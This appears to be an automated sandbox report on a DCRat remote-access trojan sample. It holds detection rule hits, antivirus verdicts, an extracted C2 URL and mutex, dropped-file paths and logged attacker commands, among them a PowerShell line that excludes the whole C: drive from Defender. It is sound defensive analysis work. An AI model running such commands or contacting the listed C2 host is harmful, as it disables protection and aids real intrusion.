Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe", ParentImage: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ParentProcessId: 2300, ParentProcessName: containerwebruntime.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline", ProcessId: 4696, ProcessName: csc.exe

Sigma detected: New Custom Shim Database Created

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ProcessId: 2300, TargetFilename: C:\Windows\apppatch\CustomSDB\sihost.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\sqls211.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\sqls211.exe, ParentProcessId: 1084, ParentProcessName: sqls211.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe" , ProcessId: 4144, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ProcessId: 2300, TargetFilename: C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe", ParentImage: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ParentProcessId: 2300, ParentProcessName: containerwebruntime.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 3868, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8584, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe", ParentImage: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ParentProcessId: 2300, ParentProcessName: containerwebruntime.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline", ProcessId: 4696, ProcessName: csc.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T17:12:56.629250+0100	2048095	1	A Network Trojan was detected	192.168.2.5	49853	104.21.112.1	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: wxl1r0lntg.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Recovery\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Everything\Everything.exe	Avira: detection malicious, Label: HEUR/AGEN.1357628
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\KDhudFNWvk.bat	Avira: detection malicious, Label: BAT/Delbat.C

Found malware configuration

Source: 0000000E.00000002.2626614280.000000001267C000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://838596cm.nyafka.top/lineLongpolllinuxFlowercentraluploads", "MUTEX": "DCR_MUTEX-D9v2NJXg7O8XLMbKG3IO", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	ReversingLabs: Detection: 83%
Source: C:\Recovery\RuntimeBroker.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\Desktop\ANcNpKUT.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\GEAmOcnc.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\fXnruzVd.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\otdhyUEt.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\pGGHecbL.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\phhpjhAr.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\qeIxFhOl.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\utYFHYqz.log	ReversingLabs: Detection: 37%
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: wxl1r0lntg.exe

ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Joe Sandbox ML: detected
Source: C:\Recovery\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Everything\Everything.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: wxl1r0lntg.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000E.00000002.2626614280.000000001267C000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Custom","_1":"True","_2":"True","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"System drive"}}
Source: 0000000E.00000002.2626614280.000000001267C000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-D9v2NJXg7O8XLMbKG3IO","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
Source: 0000000E.00000002.2626614280.000000001267C000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://838596cm.nyafka.top/","lineLongpolllinuxFlowercentraluploads"]]

Source: wxl1r0lntg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Window detected: I &AgreeCancelEverything 1.4.1.1024 (x64) Setup Everything 1.4.1.1024 (x64) SetupLicense AgreementPlease review the license terms before installing Everything.Press Page Down to see the rest of the agreement.EverythingCopyright (c) 2023 voidtoolsPermission is hereby granted free of charge to any person obtaining a copy of this software and associated documentation files (the "Software") to deal in the Software without restriction including without limitation the rights to use copy modify merge publish distribute sublicense and/or sell copies of the Software and to permit persons to whom the Software is furnished to do so subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND EXPRESS OR IMPLIED INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM DAMAGES OR OTHER LIABILITY WHETHER IN AN ACTION OF CONTRACT TORT OR OTHERWISE ARISING FROM OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.Perl-Compatible Regular ExpressionsCopyright (c) 1997-2012 University of CambridgeRedistribution and use in source and binary forms with or without modification are permitted provided that the following conditions are met:* Redistributions of source code must retain the above copyright notice this list of conditions and the following disclaimer.* Redistributions in binary form must reproduce the above copyright notice this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.* Neither the name of the University of Cambridge nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT INDIRECT INCIDENTAL SPECIAL EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING BUT NOT LIMITED TO PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY WHETHER IN CONTRACT STRICT LIABILITY OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.If you accept the terms of the agreement click I Agree to continue. You must accept the agreement to install Everything.
Source: C:\Windows\System32\conhost.exe	Window detected: I &AgreeCancelEverything 1.4.1.1024 (x64) Setup Everything 1.4.1.1024 (x64) SetupLicense AgreementPlease review the license terms before installing Everything.Press Page Down to see the rest of the agreement.EverythingCopyright (c) 2023 voidtoolsPermission is hereby granted free of charge to any person obtaining a copy of this software and associated documentation files (the "Software") to deal in the Software without restriction including without limitation the rights to use copy modify merge publish distribute sublicense and/or sell copies of the Software and to permit persons to whom the Software is furnished to do so subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND EXPRESS OR IMPLIED INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM DAMAGES OR OTHER LIABILITY WHETHER IN AN ACTION OF CONTRACT TORT OR OTHERWISE ARISING FROM OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.Perl-Compatible Regular ExpressionsCopyright (c) 1997-2012 University of CambridgeRedistribution and use in source and binary forms with or without modification are permitted provided that the following conditions are met:* Redistributions of source code must retain the above copyright notice this list of conditions and the following disclaimer.* Redistributions in binary form must reproduce the above copyright notice this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.* Neither the name of the University of Cambridge nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT INDIRECT INCIDENTAL SPECIAL EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING BUT NOT LIMITED TO PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY WHETHER IN CONTRACT STRICT LIABILITY OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.If you accept the terms of the agreement click I Agree to continue. You must accept the agreement to install Everything.

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Everything.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Changes.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\License.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Everything.lng	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Uninstall.exe	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Directory created: C:\Program Files\Everything\Everything.ini.tmp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Directory created: c:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Directory created: c:\Program Files\Everything\Everything.exe

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Everything

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	File created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\License.txt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	File created: C:\Program Files\Everything\License.txt			Jump to behavior

Source: C:\Users\user\Desktop\wxl1r0lntg.exe

File opened: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_88e266cb2fac7c0d\MSVCR80.dll

Jump to behavior

Source: wxl1r0lntg.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, sqls211.exe, 00000002.00000000.2037410745.0000000000CF3000.00000002.00000001.01000000.00000006.sdmp, sqls211.exe, 00000002.00000003.2041272436.00000000064C1000.00000004.00000020.00020000.00000000.sdmp, sqls211.exe, 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmp, sqls211.exe, 00000002.00000003.2043048725.0000000004D43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.pdb source: containerwebruntime.exe, 0000000E.00000002.2445359948.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.pdb source: containerwebruntime.exe, 0000000E.00000002.2445359948.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.pdb source: containerwebruntime.exe, 0000000E.00000002.2445359948.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb0 source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.0000000005D51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbl source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb, source: Everything.exe, 00000014.00000003.2331201128.0000000005D51000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Windows\System32\SecurityHealthSystray.exe
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Source: C:\Program Files\Everything\Everything.exe	File opened: z:
Source: C:\Program Files\Everything\Everything.exe	File opened: x:
Source: C:\Program Files\Everything\Everything.exe	File opened: v:
Source: C:\Program Files\Everything\Everything.exe	File opened: t:
Source: C:\Program Files\Everything\Everything.exe	File opened: r:
Source: C:\Program Files\Everything\Everything.exe	File opened: p:
Source: C:\Program Files\Everything\Everything.exe	File opened: n:
Source: C:\Program Files\Everything\Everything.exe	File opened: l:
Source: C:\Program Files\Everything\Everything.exe	File opened: j:
Source: C:\Program Files\Everything\Everything.exe	File opened: h:
Source: C:\Program Files\Everything\Everything.exe	File opened: f:
Source: C:\Program Files\Everything\Everything.exe	File opened: b:
Source: C:\Program Files\Everything\Everything.exe	File opened: y:
Source: C:\Program Files\Everything\Everything.exe	File opened: w:
Source: C:\Program Files\Everything\Everything.exe	File opened: u:
Source: C:\Program Files\Everything\Everything.exe	File opened: s:
Source: C:\Program Files\Everything\Everything.exe	File opened: q:
Source: C:\Program Files\Everything\Everything.exe	File opened: o:
Source: C:\Program Files\Everything\Everything.exe	File opened: m:
Source: C:\Program Files\Everything\Everything.exe	File opened: k:
Source: C:\Program Files\Everything\Everything.exe	File opened: i:
Source: C:\Program Files\Everything\Everything.exe	File opened: g:
Source: C:\Program Files\Everything\Everything.exe	File opened: e:
Source: C:\Windows\System32\svchost.exe	File opened: c:
Source: C:\Program Files\Everything\Everything.exe	File opened: a:

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Code function: 6_2_00007FF63D4C0E00 RegisterDeviceNotificationA,GetLastError,CloseHandle,GetLastError,RegisterDeviceNotificationA,GetLastError,GetLastError,

6_2_00007FF63D4C0E00

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CCA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	2_2_00CCA69B
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CDC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	2_2_00CDC220
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CEB348 FindFirstFileExA,	2_2_00CEB348
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Code function: 3_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405D74
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Code function: 3_2_0040699E FindFirstFileW,FindClose,	3_2_0040699E
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Code function: 3_2_0040290B FindFirstFileW,	3_2_0040290B
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D547710 FindFirstFileW,	6_2_00007FF63D547710
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D54A0C0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	6_2_00007FF63D54A0C0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D549FA0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	6_2_00007FF63D549FA0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C8A0C0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	7_2_00007FF728C8A0C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C87710 FindFirstFileW,	7_2_00007FF728C87710
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728C89FA0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	7_2_00007FF728C89FA0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C8A0C0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	10_2_00007FF728C8A0C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C87710 FindFirstFileW,	10_2_00007FF728C87710
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728C89FA0 PathIsRootW,GetFileAttributesExW,FindFirstFileW,FindClose,	10_2_00007FF728C89FA0

Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	File opened: C:\Users\user\AppData	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then add rcx, 01h	6_2_00007FF63D47B7B0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdx+r8]	6_2_00007FF63D53B440
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rcx+10h]	6_2_00007FF63D499EB0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movsxd rdx, qword ptr [rbx+74h]	6_2_00007FF63D5F4E40
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movzx r8d, word ptr [r9]	6_2_00007FF63D5E6720
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rbx]	6_2_00007FF63D4DDF30
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test al, al	6_2_00007FF63D4B56C0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test al, al	6_2_00007FF63D4B56C0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov r8d, 00000001h	6_2_00007FF63D4BDDA0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbx]	6_2_00007FF63D4CE550
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test al, al	6_2_00007FF63D555E20
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [r10]	6_2_00007FF63D5218A0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r8]	6_2_00007FF63D5218A0
